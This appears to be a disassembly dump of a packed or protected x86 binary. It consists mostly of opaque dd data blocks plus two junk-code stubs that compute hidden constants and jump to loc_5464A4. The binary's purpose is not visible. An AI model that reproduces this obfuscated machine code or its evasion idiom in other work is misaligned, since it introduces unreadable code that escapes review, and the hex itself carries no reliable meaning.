0BD8BD0FFh, 9350C05h, 1184C781h, 0C7830000h dd 85B58B08h, 87093523h, 8B9F7h, 0A4F30000h, 2385B58Bh dd 858D0935h, 938A94Eh, 0C361D0FFh, 33C1858Dh, 8589093Ch dd 935036Dh, 0E79E04EBh, 51E93A8Dh, 82000005h, 36AAF3D0h dd 7BFD9E3Bh, 0DCA4F9E4h, 964A5344h, 9AA1FA9Fh, 0A93029E1h dd 0E2F76CF4h, 0AC2947B9h, 0ECF569EFh, 0FD5F9AFh, 12FA0DA5h dd 15CFF4A1h, 41A12BB9h, 23951C36h, 0E2668D08h, 0FA76E80Ch dd 79DF1DDh, 1C3641BDh, 40BF37B9h, 574455CCh, 8248DA1h dd 216D618Fh, 418D376Dh, 67891C36h, 3641377Dh, 49AD331Ch dd 859A24CAh, 9F57D918h, 49A8312Dh, 871D5AD7h, 1C36413Dh dd 8917B739h, 1C364143h, 0B43FB137h, 11E4D04Dh, 0B648841Dh dd 4AE31DBAh, 0ED2A74Fh, 79436110h, 0A91C3641h, 10962CB5h dd 0AC8EEEDEh, 2532DF51h, 67A4FA7h, 0F6BB3D68h, 0EC048BEEh dd 0E67DEF02h, 0AEDF8BC5h, 559B1C1Eh, 775DAE9Eh, 0B0EDEA84h dd 48AB3428h, 35D015B8h, 1B091C1Ch, 506C0B42h, 5D5C89h dd 56260000h, 0E2B49365h, 0EC9363F5h, 568C2B47h, 1C36416Ch dd 24A84668h, 0DB16839Ah, 86169D59h, 1C36413Eh, 0DCEB647h dd 894FF9C0h, 6A7h, 46D9E300h, 47F49B5Bh, 0D044AF2Ah, 9AD445Dh dd 975A7FF7h, 0F76FE115h, 3BAA0FE2h, 36A3BE49h, 3301C165h dd 0AB487E72h, 0B7AB25D1h, 47C2712Ah, 38A5BB2Eh, 3AB937B9h dd 0C32EABC6h, 691C0855h, 2CB4E9F0h, 0D84CA730h, 0B6975A47h dd 5984452Fh, 31895000h, 0F004918Fh, 7749h, 63D8500h, 100B61BBh dd 47C16094h, 0A248AB2Eh, 4212B8E6h, 0E0061C36h, 18859A14h dd 3F174D9h, 565C8246h, 521C3641h, 3F36A84Ch, 0E67F019Ah dd 948C00F3h, 980DF003h, 1915A7ACh, 7EF7180h, 50003667h dd 555189h, 15820000h, 8E6570EBh, 5E95021Ah, 39AC14DAh dd 22778C2Ch, 0EF86F8FCh, 0F8A6E2EAh, 1C3594D2h, 4DD420C6h dd 995845DBh, 47322203h, 41F2AB2Eh, 44AF2A47h, 364211B4h dd 1F05181Ch, 4FFA0F3Eh, 115889h, 4A320000h, 0D6654E1Eh dd 0E02B2157h, 0B4AC0CB4h, 4746ED09h, 0D246AD28h, 0AC95135Eh dd 6157FCC0h, 2774648Fh, 0C8D54A3Dh, 0BBA1F4D3h, 0F8FB3EA8h dd 37975998h, 0EAF76993h, 0DA69740Ah, 890F1502h, 35A0BB45h dd 33BA3ABEh, 2A44ADC1h, 0A65A43ADh, 56E60D8Ah, 1300926Eh dd 0C4B79D7Eh, 0EA6E2FA8h, 168A6976h, 7F455B1Ah, 7B130092h dd 0B968B75h, 2D9E0EE5h, 1FB8B447h, 87F8C87Eh, 0EBC5D61Bh dd 0C30AB242h, 0A492851Bh, 1A7h, 0C39B2EE3h, 437CF10Bh dd 3641179Dh, 638D131Ch, 0E2AF8B5Fh, 15E11F80h, 829B2569h dd 9C58DC17h, 2DB1B06h, 1CD7D915h, 0A32BB4A8h, 59980119h dd 964A1FD7h, 89100D9Ah, 0D8556767h, 0EDD70DC1h, 0E91300A8h dd 0AB02FC7h, 945F78F0h, 0ECBCC5E2h, 8F6132D4h, 6079F567h dd 0BEDB526Ch, 90308333h, 0A7C9983h, 239110E4h, 3B37C2B2h dd 4DFD9Eh, 67928560h, 57h, 0C7872E28h, 4223D907h, 11971C36h dd 416852E2h, 81981C36h, 38E209EAh, 0E8064585h, 0D89F9709h dd 35F500CAh, 0FCF2F41Ch, 0D6BE5FF5h, 4F35CC13h, 0E0F9708Ah dd 0DC678F11h, 2BB915D5h, 1C35F4D1h, 0F4DAC3E5h, 0AA4956CAh dd 8F939A26h, 0DD0ACCEh, 0D901E9h, 15520000h, 552C32ADh dd 48AC4B5Bh, 9A32EABDh, 0F2388EEEh, 8BA53693h, 17DFFA75h dd 33FC689h, 0BD34BA15h, 492E6919h, 2D2CD051h, 0BEDB57C9h dd 9C89AE0Eh, 0E7DB76C0h, 0AAC63A0Fh, 49EFD50Bh, 0C5EB1300h dd 6738C82Bh, 0C913004Ah, 38AC4752h, 0C438BB24h, 44C82BACh dd 0DD988C99h, 11361EFFh, 8E6570EFh, 0FC70EA0Ah, 9A2DBAE3h dd 14B20AC2h, 5B1C3FA1h, 0FD5797Dh, 0BD4F23Dh, 3DA4B943h dd 598C1E85h, 5D99AC34h, 7EF201A7h, 8AFEF5E2h, 79EB0693h dd 83140CE5h, 14F1866Dh, 773F4520h, 4F0E985h, 0CC00C5AFh dd 2C9FAC16h, 0EE06A81Ch, 54785063h, 0D334746Ch, 36C86E3Bh dd 0D1539E3Bh, 0F96B7925h, 7150104h, 2B2BF0B7h, 0F7FF7672h dd 9527A749h, 73F5FC9Dh, 2E05A683h, 3F5AD39Bh, 0D5871DB1h dd 0A1150A75h, 0DFDC7DDh, 0F7F912FAh, 0EA86FAF9h, 26A1E1EDh dd 0ADB84918h, 74ECC135h, 8414DFF8h, 264ABD3Dh, 0E0FECA84h dd 0E1A905DAh, 3B89160Ah, 0F441B5h, 0BBE0F975h, 41B02945h dd 0AF4257CFh, 3BB6233Dh, 0C45B56C9h, 58961AD9h, 32220399h dd 17A94D37h, 5908B1Eh, 0AA5608EBh, 89C0F14Fh, 0EE43B33Dh dd 0E2FF7306h, 0AE2B47B9h, 35B43h, 4FAC0000h, 0B0154784h dd 4653CF41h, 0BA2739ABh, 2BAEC537h, 0BCDD54C8h, 2FAAC335h dd 0BFD850C4h, 32AFC034h, 0C9D04DBFh, 0EC835D2Ah, 48F5404h dd 24048124h, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push 0EAAh mov [esp], edx push edx push 2F8B7EAFh pop edx neg edx shr edx, 6 sub edx, 0FA059D40h mov ebx, edx mov edx, [esp] add esp, 4 push esp mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], ebx pop dword ptr [edx+8] push dword ptr [esp] pop edx add esp, 4 mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5464A4 ; --------------------------------------------------------------------------- dd 3512C25Dh, 3C3994B8h, 0FFC50309h, 463633E0h, 1CAF5D41h dd 74576701h, 495F516Ah, 10BA365Eh, 0F8A7BC1Bh, 0AC55B84Bh dd 1366071Bh, 0C6283Ah, 9D01B00Fh, 5B773E74h, 0A831026Dh dd 85BF4020h, 7EA55C49h, 842AE75Ah, 0D929A756h, 0D62DE30Fh dd 61191B69h, 151FB550h, 0D299A171h, 0C6A7DB25h, 59D3397Eh dd 2E3D797Ch, 32D4D04Ch, 5FDC7551h, 0BC176F4Ch, 0BB123475h dd 1C124725h, 56E34D5Fh, 698D8D7Fh, 0E32312h, 10E810h dd 0CD810000h, 6B8D8548h, 9F52448Eh, 0C1C25299h, 8B66AD5Eh dd 890F5BFAh, 0Dh, 8E9h, 346E2C00h, 9976BCF4h, 0A5C381EBh dd 66000069h, 0FF2CA81h, 1A19B9h, 7E900h, 34290000h, 1CB1A629h dd 53338BDEh, 13E9h, 16D3AD00h, 0DCF2103h, 6B57B86Ch, 81DEEF68h dd 4BE5033Ah, 27C6815Fh, 0E8522DAEh, 11h, 7988A98Fh, 9B899C31h dd 0A6625279h, 68728E4h, 118D0FB5h, 0E9000000h, 0Ch, 0D629C4F1h dd 2C0D0F47h, 9BD0FF50h, 25F6815Ah, 8B4BE46Bh, 6DC681FAh dd 8B3598E5h, 38F56FAh, 3820F57h, 0F000000h, 815AD2B7h dd 0ED158CEBh, 13E828h, 0CFF00000h, 0A6840162h, 406420A6h dd 4F3806Eh, 28FB8F8Eh, 13E8E4h, 0F0E30000h, 3C34164Ah dd 0A8228547h, 0C80DF317h, 8D200594h, 585FF5D8h, 1588C381h dd 14E928EDh, 0FA000000h, 0A0C51A07h, 0A729079Fh, 0E485F945h dd 5B3B601h, 812D3E95h, 1E9h, 16850F00h, 66000000h, 0E9ED98B8h dd 27h, 614849D2h, 26A7348Fh, 55DBFD61h, 5810F0Ch, 0BF000000h dd 6A3EF101h, 0FFFF08E9h, 0E90CB9FFh, 75A810F0h, 8DA5EA37h dd 3C3C768Dh, 5810F09h, 66000000h, 5565F681h, 16298D89h dd 6A0935h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 7BA643C3h, 4888C2C3h, 0F081FD76h, 62C008Ch dd 287D85C7h, 70640935h, 0C7F80000h, 35225585h, 9, 0D38B5000h dd 11B5FF5Bh, 6A09352Bh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 0FFB9C353h, 595FFC3h dd 8109350Dh, 46772EC6h, 0FF006A44h, 35082995h, 0EBC08B09h dd 0D4193B5Eh, 51CB2B9Fh, 470ECA52h, 7CAA1DB7h, 0CFB24AC4h dd 9663C294h, 8E795FE1h, 91EBF02Ah, 0D0D8B31Bh, 0ABE8EEDAh dd 3577C700h, 6673B013h, 826B61CCh, 0A64F239h, 0DDD72CBAh dd 3D7E7D34h, 0AC35D657h, 2DC7862Bh, 3C307880h, 358CD323h dd 0DD598B1Ah, 5358A516h, 0DFC278C2h, 0EBC8E56Eh, 0D027FE04h dd 0CC9E91Bh, 0DA680000h, 0E9093C3Eh, 0FFF941E8h, 3C3FD768h dd 41DEE909h, 0B968FFF9h, 0E9093C41h, 0FFF941D4h, 3C42DE68h dd 41CAE909h, 0B68FFF9h, 0E9093C46h, 0FFF941C0h, 3C475B68h dd 41B6E909h, 4968FFF9h, 0E9093C48h, 0FFF941ACh, 19A3F1Dh dd 0A6F7E27Fh, 0FBA03D32h, 0AFECED85h, 0F4A93029h, 0A1B85227h dd 869D6338h, 58D68A13h, 829E623Bh, 0ECA08815h, 0FA050CB6h dd 0F8DB0812h, 0A0BE2B47h, 0B23CC033h, 4851CD3Fh, 60FB05A9h dd 0FAFA7E75h, 0DDF1EE80h, 0A64E4BE3h, 20B9B527h, 0D5C05FD1h dd 48AB362Bh, 866153B0h, 0D2A58FFCh, 0A45C415Eh, 0C98F0C8Dh dd 0B2C55C55h, 3641C6ECh, 0D21CC21Ch, 5D31D51Ch, 36417D47h dd 7F77791Ch, 1388110Dh, 25A96134h, 363D87Fh, 0E70A8C15h dd 11B7759h, 0C7AD3813h, 7C65F802h, 2375D878h, 4DF29285h dd 0A1000000h, 41CBAD15h, 0A69A31FEh, 18F0C34Eh, 0ED1FEEB4h dd 0E3D51502h, 0F4A64D48h, 7EFE68D7h, 0DB15DB37h, 69468818h dd 9E071300h, 0D23895B6h, 56329285h, 758248h, 84707613h dd 124D5h, 0BD1B100h, 0EF2B465Dh, 0EEEB827Ch, 0CE758103h dd 43AE2B47h, 8D4158D1h, 12E1FC73h, 75E7668Eh, 6079F0F9h dd 4FA2E191h, 0AEF949CDh, 36A3BE40h, 3CB739BBh, 571D54C8h dd 7EF8927Eh, 66F6A749h, 1C35E311h, 455643DFh, 1F129F93h dd 5E606C82h, 9B1DD4C1h, 8C2ED45Bh, 1BC90592h, 1C35DAB1h dd 60F303A5h, 93517D55h, 150300ECh, 2DDBEE0h, 0B1EFDFB7h dd 0BCCA927h, 5049E5DBh, 0FDD11FA1h, 6E7C17C5h, 342F8A30h dd 68587E1Ch, 34D2F7ABh, 57745F4Ah, 3FEB0BE5h, 9E10338Bh dd 205FD543h, 0FDC54558h, 5DD2F755h, 0D446AE40h, 8F420E5Dh dd 198A9489h, 4C72F5A9h, 5896261Dh, 35A4BD43h, 0A57DB2B1h dd 9E882BE9h, 0A33h, 0B1EACF6Dh, 0F6A7322Fh, 0ABF0ED82h dd 0FF9C3D35h, 0A4F9E079h, 3128E297h, 0F66DF3A8h, 2846BAE3h dd 0F26EF2ABh, 0BC10B8E5h, 0FA039C26h, 0C80B9812h, 23AB2E47h dd 5111125Bh, 0C43060CFh, 558B3FE7h, 1C358E6Fh, 0BBDE556Bh dd 0BA3AB438h, 53912C40h, 1C358E69h, 0E8B53B5Dh, 70EB1543h dd 12E1F875h, 194608Eh, 9AEEDEB6h, 638E0B20h, 926178F1h dd 7E14E00Eh, 1503718Fh, 0E581565h, 0B490277Fh, 2AC9D64Ah dd 7A8448A6h, 7FFEF6E3h, 0BFCFF1h, 2F159013h, 857BDF2Eh dd 0A88892h, 47470000h, 0D143AE2Bh, 22B24158h, 1C36464Dh dd 89128FA3h, 0B33E5BD7h, 9C59D28h, 364B4DBh, 15862815h dd 27A77F4Ah, 0CCC47079h, 4A82240Bh, 3A543E7Eh, 1884C597h dd 78487FC3h, 4CA8ED23h, 5D3E5BD2h, 0B9DC5769h, 0F40AB63Ah dd 7C574F93h, 879E10E4h, 0B3CFD212h, 630EE9A5h, 9367Bh dd 0E5C27000h, 0B42D40B8h, 0E3FE71E7h, 0A92E46BAh, 0E4F56CF4h dd 0FB8FFCB7h, 0B2267762h, 0F97F1CB9h, 5F217A67h, 0E3C5D6C3h dd 2CFF5ABh, 1ACB12FAh, 0AB2E47B9h, 1C859923h, 0C6A353D5h dd 0BBBCA0E0h, 0A50D1CF3h, 5643DF51h, 2B476645h, 5DD143AEh dd 1B6F5744h, 36413F85h, 41B53B1Ch, 36420DB3h, 7FF10B1Ch dd 0E90D8F62h, 0BDDEFB77h, 12BA273Bh, 0E6CC12B6h, 0E21C3641h dd 419C26BCh, 5BD41C36h, 9C62843Eh, 5BDD1485h, 8CA0149Bh dd 2370E013h, 0AD2A4631h, 0FA133AF0h, 9A54894Fh, 33000000h dd 0BC39B2Eh, 36D92D5h, 0FB708615h, 5F9113DEh, 12C20494h dd 22831301h, 2CB41932h, 76B39285h, 14000000h, 3641A42Bh dd 30E8BB1Ch, 5007069Ch, 0FBED1503h, 0F5777A67h, 47DEA2FBh dd 81149F52h, 935D44D9h, 365EA53Bh, 265A0BCEh, 0C67F743Ch dd 319D5310h, 0ED04918Fh, 2AAE8B6Bh, 0BF4CA734h, 0DCB01CF4h dd 7E4E4BE2h, 35B35A60h, 0AC484E1Ch, 2E1E316h, 0AEA3DB15h dd 48490596h, 1C11F170h, 2BC57C50h, 0B44059D5h, 0BC3D8FEh dd 0FF727FF1h, 0E80CE2h, 52Dh, 0D39B2E51h, 9FC2115Ah, 90D3270Dh dd 0E5E3935Eh, 0BC7105Ch, 9834BA34h, 273DB0Ah, 0CFFFA115h dd 50A4352Dh, 6B7D43D1h, 0E73E1300h, 0D3B1DCFDh, 0F6B69285h dd 15000004h, 0A1F41549h, 757C65F9h, 0FFC5DBF3h, 0FB1C3641h dd 0DD3FBF5h, 1503551Eh, 0DF8AA41Ah, 0B571A83Ah, 0AE40AAFh dd 0FF3B2C12h, 0C9DCACBDh, 0B111BD11h, 0B88B8344h, 0ACC739E2h dd 0E437CD29h, 10741327h, 0CDD8638Eh, 0F52BB915h, 96B48FEh dd 0E7A3E7E7h, 0B43F5AD5h, 108B230h, 21387B39h, 10E40AB8h dd 8815829Eh, 0A3435CD0h, 8AA01394h, 54C0AA49h, 8E000007h dd 0E29607ACh, 9749524Fh, 0D8A0FD98h, 92465740h, 969DFE9Bh dd 8D0C25E5h, 0C6D34810h, 900D23D5h, 0C0D9550Bh, 0B99F5DBh dd 12FA00C1h, 47A328B5h, 0B843AE2Bh, 279935EDh, 0C3678F0Ah dd 9EC6B707h, 0E46A6315h, 0B3D78210h, 0F3971502h, 0AC07ADh dd 71ED0313h, 0E9078968h dd 7D51570Dh, 0ABF0ED83h, 7960F903h, 806D037Dh, 5E04EFE8h dd 0AB7A40h, 86686E13h, 0C65A6468h, 5E961AD9h, 0ACC13BDFh dd 8933C135h, 871300ABh, 11E0F975h, 0F7D9678Fh, 0E1300BBh dd 9FEBE3BBh, 562A17DFh, 84708717h, 0CE4923EEh, 34BFE10Bh dd 360622A4h, 9282E31Ch, 503454B9h, 7661689h, 90BC324Eh dd 1C0AB145h, 0C9000000h, 0BC39B2Eh, 835850B3h, 0A64E53D5h dd 3539DC02h, 29AF1503h, 30E0CAh, 2E310000h, 4A93959Bh dd 0E31698C6h, 0B65CB519h, 1FD11FFFh, 8FB6F1AFh, 18741502h dd 6C408Ah, 42B23413h, 43E70A8Ch, 6C735987h, 41671300h dd 2B470EB5h, 51C91E80h, 11DF195Eh, 0A3C678D5h, 947E25E9h dd 62Fh, 0ADEECB69h, 0F2AB362Bh, 0B7E4F16Eh, 0EBB02941h dd 0C0DDFC75h, 6D0486F3h, 0B2A92F6Ch, 6C027627h, 0B6AA2E6Fh dd 10BC7429h, 0F9FFE8D2h, 0CAFDC12h, 0BC39B2Eh, 36E7ED5h dd 0E47A8415h, 891009F7h, 0C231B76Dh, 0D8C5D24Eh, 484C4104h dd 93535A32h, 35ACC13Bh, 7A42ECC1h, 93DE5183h, 65F00479h dd 8C527A52h, 0E6849A11h, 9E12E107h, 0BA851683h, 99737EFh dd 0EDB77922h, 4216A0E0h, 0F3FE9B97h, 85BA5171h, 0DBFDB343h dd 0B4468818h, 4707EDB7h, 0D51CBDB5h, 664EA353h, 0CE8B2865h dd 0A7B842B7h, 0C135B73Ah, 1391Ah, 9B2E7900h, 7ED50BC3h dd 7A15036Eh, 170B7D74h, 0D34F118Ah, 9A9D2BC6h, 0D732484Bh dd 77EB9E86h, 0B3AF316Ah, 2BD4DE04h, 0C4DAEDB8h, 0EDB82BFEh dd 0C8CEF4FAh, 0FA3DCB26h, 0AE0CFF61h, 5C7DF406h, 8EE31395h dd 425FD3A6h, 0E8BA759h, 925058E3h, 153EA43Ah, 0B43A1301h dd 3B7F3FE7h, 0A8777262h, 0E992CC8h, 69687656h, 4F0BCDF8h dd 0BC04AA49h, 0B74A631Bh, 42BC3897h, 42ECB12Eh, 0B53CA5B8h dd 0D549C333h, 259725CCh, 0D11C3586h, 9B39084h, 0F26C8811h dd 156D617Eh, 0A6084BD1h, 1AEF07D4h, 4918A34h, 98214DBCh dd 49AD6C20h, 6188AFBBh, 38117168h, 3C5DD534h, 538F33B5h dd 72588670h, 66A7E14Fh, 801EAE40h, 0A7E14F3Ah, 0B94CA82Eh dd 0F76932F2h, 5935E7Bh, 261CF24Fh, 2AC9CC67h, 0D51CB9B6h dd 6B0EF667h, 0A65143A2h, 0C8900D8Ah, 1BA84B54h, 2FCD088h dd 0FD7F726Fh, 557955F9h, 0ED616B79h, 53552A22h, 22ED2B91h dd 517B292Ah, 452A22EDh, 777F21A3h, 0EFF352E9h, 8C406622h dd 26BCFB72h, 210FF09Ch, 19D81698h, 608A5F97h, 50h, 811E12ACh dd 9B2ECE75h, 21BF0BC3h, 1C36419Bh, 41ED098Fh, 3437CA3h dd 836E7015h, 3D631C11h, 13013B77h, 0CE25B0AFh, 4A76784Ah dd 8E76F94Bh, 0D9F5FBD0h, 33200CA9h, 1F5B28Ch, 0FD13762Ch dd 9F97456Bh, 0CAD8F4FAh, 1300E008h, 0D6FDEAECh, 0A2BE2B47h dd 0B43ABE35h, 0A54D58E7h, 0ECE00E8Bh, 0D34D5AD2h, 20CC28C6h dd 372E782h, 0F3DBFD15h, 824A57C9h, 1020D13Ah, 589CAF1Fh dd 9CF3CB83h, 19FF7C4h, 0D856C82Ch, 18AB38BBh, 0A2408C40h dd 1300E318h, 0BE6A8A0Ch, 0CE0E3920h, 4AA92F0Bh, 35E214BAh dd 0C0982B1Ch, 14BD60Ch, 0EBD31503h, 1C213EE2h, 0BF758194h dd 844ADA19h, 451300C2h, 0DAFF7789h, 372D9517h, 2B6E92E2h dd 0E6CE23D3h, 852DA8E5h, 32FAC292h, 2DAC717Ch, 5236E511h dd 95000000h, 0BC39B2Eh, 34452D5h, 0FAF0D015h, 79436132h dd 6D130056h, 3537576Bh, 0DE1089A4h, 0D9566816h, 539135BCh dd 13006869h, 19B53B5Dh, 68418Bh, 3DB33513h, 0ACC33D91h dd 0A43EC231h, 1300681Eh, 0E160941Ah, 15F9h, 0B4AB5500h dd 0AE46CA29h, 0C39B2E0Fh, 73DAD50Bh, 983E1503h, 2B47BA59h dd 0D1C536AEh, 59D8E9A2h, 30271h, 0B91E3C00h, 98011CE4h dd 0F7E27D03h, 9D3A32A6h, 0F8E17800h, 27E398A3h, 4E128B0Eh dd 25DBC0D5h, 4B0D8E0Bh, 0DFD1CAD7h, 0FBCBF1AFh, 0EBF12F9h dd 0AE2B47ADh, 545DD143h, 9D31BFD8h, 668E0B23h, 2BE3B691h dd 645AFDA3h, 0A6181503h, 0B24DF8Ah, 496BE047h, 2CC84CA7h dd 0F3817076h, 13011FCDh, 8900C08Eh, 5382E472h, 0D6BE13E3h dd 85B998F5h, 4CCF92h, 15000000h, 8F6772EBh, 5ABB104h dd 37EC4061h, 7B4F7F71h, 0EA2B914Fh, 791F1C35h, 1B38E77Dh dd 1ABC1503h, 0DA8749D7h, 0B9B71300h, 50A3342Ch, 5DCF22CCh dd 4A4FE7C2h, 28CB25A7h, 0E3866E93h, 8C4D37AEh, 92856141h dd 0EF26h, 2B476500h, 58D143AEh, 223EB241h, 0F4983EB5h dd 364204AEh, 0FEA6FE1Ch, 9D804805h, 0FB758127h, 43217A67h dd 1C35B72Eh, 2C716E02h, 0AF1FB8B4h, 0B6FFC5DBh, 0D3FB1C35h dd 35B6A70Dh, 0F3FDA31Ch, 0A4EF7C03h, 41DEE0ECh, 0DB1B9D54h dd 0E2F6712Fh, 4AA1502h, 25FDC897h, 4F46FBA9h, 88380BCCh dd 0CAA5C95Ah, 25DB1B14h, 0B9B14B83h, 772DD120h, 1C34364Dh dd 0B749A749h, 54D81BBEh, 6B02FCA0h, 0B2AB2D6Eh, 0DC52BF27h dd 0A84BE9A4h, 1B2BEh, 694EEC00h, 28B1AC34h, 6772ED73h dd 2DAAC236h, 6871E870h, 77136833h, 3EC2DBFEh, 75EBB025h dd 3BBDDEFBh, 0EFE1BA27h, 0FABB019Fh, 1EAF12F9h, 0AB2E479Dh dd 0A4255B23h, 0BBEF3280h, 35B73AA7h, 9A5E3BBBh, 26F2EB86h dd 2FE0CE51h, 96F2DCC1h, 3542C208h, 5902B61Ch, 0BEB498A0h dd 801FD719h, 0BC39B2Eh, 3724AD5h, 0C928AE15h, 111953Bh dd 86785613h, 8709E8EDh, 1932226Fh, 928529B4h, 0ABB3h dd 2B471400h, 0DCF9728Ch, 3641BC06h, 0B836B81Ch, 2BAEC739h dd 464738C8h, 75E91C36h, 0B5A92F6Ch, 6F3AC52Ch, 0EE8917B7h dd 92150369h, 0E5B08F0Ch, 0FD03A12Dh, 0F10BCCCAh, 59FDFEFh dd 713A2890h, 0BF31ACC3h, 0F0699337h, 46DBE5E9h, 0EA14985Bh dd 0B98E6673h, 0A5BB2E47h, 0C937B938h, 40A44A57h, 0E9A50407h dd 0C4634BD6h, 0FE000000h, 0B226775Ch, 77922BFh, 0A8306D68h dd 27627B0h, 662D6E6Bh, 0DDFC7515h, 0B62338C0h, 0E0FD73E5h dd 0B02945BBh, 5B8945EBh, 12F9F971h, 47933865h, 6EF2AB2Eh dd 5B7EF5F2h, 77EA1498h, 3417846Ah, 43AE2B47h, 0D8545DD1h dd 3EB034BFh, 31D52E8Eh, 0DF666634h, 12A54217h, 1F4C923Ah dd 95150991h, 2841BB13h, 959042B1h, 0D46BB828h, 67E60EE0h dd 3B6079F5h, 23A93793h, 1712F9B3h, 0DE158CA1h, 0EE60945Ah dd 0E88E6572h, 7E8C1F98h, 0FBFBF29Eh, 9DC33765h, 0AB990C05h dd 4A534CE0h, 0F6FD9A96h, 6EDEA82h, 2CDFC516h, 82F6A730h dd 716801EEh, 0C2FE82h, 6EF43330h, 6650A34Dh, 3, 47844FA7h dd 0CF41B015h, 39AB4653h, 0C537BA27h, 54C82BAEh, 0C335BCDDh dd 50C42FAAh, 0C034BFD8h, 4DBF32AFh, 5D2AC9D0h, 169968h dd 24348900h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push 5D28h mov [esp], ebp push eax mov eax, 618A3676h push ebx mov ebx, 68B60B5Ch mov esi, ebx pop ebx xor esi, eax pop eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebp sub esp, 4 mov [esp], esi pop dword ptr [ebp+8] push dword ptr [esp] pop ebp add esp, 4 mov esi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_5464A4 ; --------------------------------------------------------------------------- dw 449Fh dd 34EA91Dh, 4CB9E559h, 0B8B2A790h, 93C4932h, 0E0FFC503h dd 2427FFBEh, 3657FA49h, 6FBE384Ch, 27F1D80h, 3259821h dd 366A12EEh, 6EDE0645h, 6423A24Ah, 64767EA9h, 5420A93Dh dd 5E6038E8h, 3BFCE110h, 61BE1970h, 54E426AFh, 325E7791h dd 0E1C9BD7h, 4BD5F6A8h, 72D5C3F2h, 98AB27Dh, 36004EBh dd 82E9358Fh, 3A000005h, 1EE2BB18h, 53059603h, 24DCC1DCh dd 4E128B0Ch, 0E2D9C2D7h, 5148E1A9h, 0FA9F944Ch, 5441DFA1h dd 49D9147h, 0C7DDB197h, 12F9F7FDh, 0D8E2ECF9h, 199B5643h dd 2B4736DDh, 0DF9F43AEh, 958A3A21h, 5B67E908h, 0F4009893h dd 0D6F6E37Ah, 0BB3780A6h, 841000D5h, 25EDCB10h, 0D956A846h dd 9D6338BCh, 67D91881h, 0B123CECBh, 67CE25BCh, 0FB5EB9Fh dd 0B1C354Ah, 0D0C411E5h, 4950C9F3h, 0B9836679h, 0CD2944A4h dd 0AC2DF53h, 229A20BEh, 88E1C36h, 0A5170FECh, 64E80B8Eh dd 93001E90h, 829A240Ah, 9A5ADE15h, 89A10E20h, 915FE110h dd 6075EE62h, 4232A391h, 7F1CB9B7h, 757C65F9h, 3622E0E7h dd 2C18E51Ch, 0F5515727h, 98DCA8Ch, 363BF1DBh, 2DC3E51Ch dd 0FFE429C9h, 7983894Fh, 3F000000h, 0BE35A4BDh, 4713BA3Ah dd 18B802Bh, 5AA205E2h, 0E7CF5D94h, 0F01C3551h, 0F180F6C6h dd 0ED5F64DBh, 0FAF89FD5h, 0BF37CDDAh, 84C98272h, 0E38950BAh dd 1, 812A47A4h, 65DA5497h, 0ED04EA53h, 0F8FBE67Bh, 8EBEC84h dd 0A55044A1h, 0A28C1188h, 3612B8E6h, 0F0061C36h, 698D637Ch dd 0F76E7BF7h, 93041CE2h, 8912DC60h, 9A071BA5h, 0EBF9D557h dd 1C3635E1h, 7C23D3D5h, 48AB2E47h, 0B14059D4h, 0E5E2D243h dd 1C52CD9Dh, 886C39E7h, 217A1F16h, 1BD6C35Fh, 0FDEC8577h dd 55797762h, 355C258Fh, 777F211Ch, 846F6A05h, 775044A1h dd 8950E526h, 0A061h, 43612D00h, 1C356679h, 319B496Dh dd 251C3566h, 38556D83h, 5AFB5F92h, 47ED9460h, 35A0BB2Eh dd 4C923ABEh, 1C364166h, 3FB23C62h, 0AC4752CDh, 974D8145h dd 1C36412Dh, 0F2D0C965h, 7F1C12ECh, 1D3A2A77h, 0DF128FA3h dd 0E27995Dh, 0D74E128Bh, 3F8B2FC2h, 36411BA1h, 6D890F1Ch dd 935E7BF3h, 62910821h, 8D6471EEh, 23C6AE1Fh, 4C0DF76Eh dd 89500011h, 4D76h, 2E475500h, 0A85B23ABh, 0B0C0FBE0h dd 0B85EE511h, 885B3508h, 9363ED0Ah, 579A0719h, 857064C1h dd 7366FDECh, 0A9F2FC80h, 812A470Ah, 86350BFAh, 2F1FFA7h dd 35464B72h, 0D1C3521Ch, 50F495F8h, 8D289h, 2FC0000h dd 3856C69h, 0AD154CF3h, 73BBB38Ch, 9A14E008h, 0B75EA85h dd 6CBF07CCh, 61FD6F82h, 0AE824856h, 0BEB21C35h, 744ED221h dd 3757C72h, 11836E6Bh, 0FE728118h, 0FF817065h, 0C2A58F0Eh dd 966153C0h, 0C09FFC99h, 0A4352DF5h, 0A925CB4Dh, 2D0ECFBh dd 0E30E9015h, 0B2B6FD71h, 93E1E9B3h, 1AD4C15Eh, 0A14F48E4h dd 0EFE884FCh, 7507404h, 0E8801301h, 9D9004EFh, 757C1D14h dd 8FF6FDF3h, 9943260Eh, 71ED988Ch, 0F4FAE778h, 0A43D31A7h dd 6A47DB4Dh, 670BE6F3h, 1079339h, 8F618713h, 5A229261h dd 4CE3CC60h, 0A579F51h, 0C4F36F1Ah, 7F0DA08h, 0C2E41301h dd 1079A20h, 0C00A9813h, 0B4130107h, 0E00E9032h, 33B617BBh dd 1CB19285h, 0E2000001h, 0BC39B2Eh, 35F4ED5h, 0CD24CA15h dd 0F2DAC75Bh, 24C20896h, 7AF21301h, 0B012965Dh, 3FB2273Eh dd 0E6C333BDh, 12E1FE72h, 0DE15829Eh, 44371D6Eh, 3CEEAF28h dd 92851711h, 4056h, 872E3500h, 23D907C7h, 971C3642h, 2843BD11h dd 3CC246ADh, 0C03FB720h, 36418A30h, 988C991Ch, 5BDFDDD4h dd 3C099203h, 8E547876h, 1C359F54h, 4C762C50h, 481C359Fh dd 175348A6h, 9Fh, 0BEAD1578h, 9F700930h, 5B6EF9FDh, 0B2954B83h dd 0A6150364h, 0E37FF100h, 3F33A5F6h, 0D0C14FA2h, 60130113h dd 7D21D0C9h, 1125D67h, 0A9575913h, 62C72AB7h, 0CD661103h dd 67B426C8h, 8A34587Dh, 69EB0693h, 112517Bh, 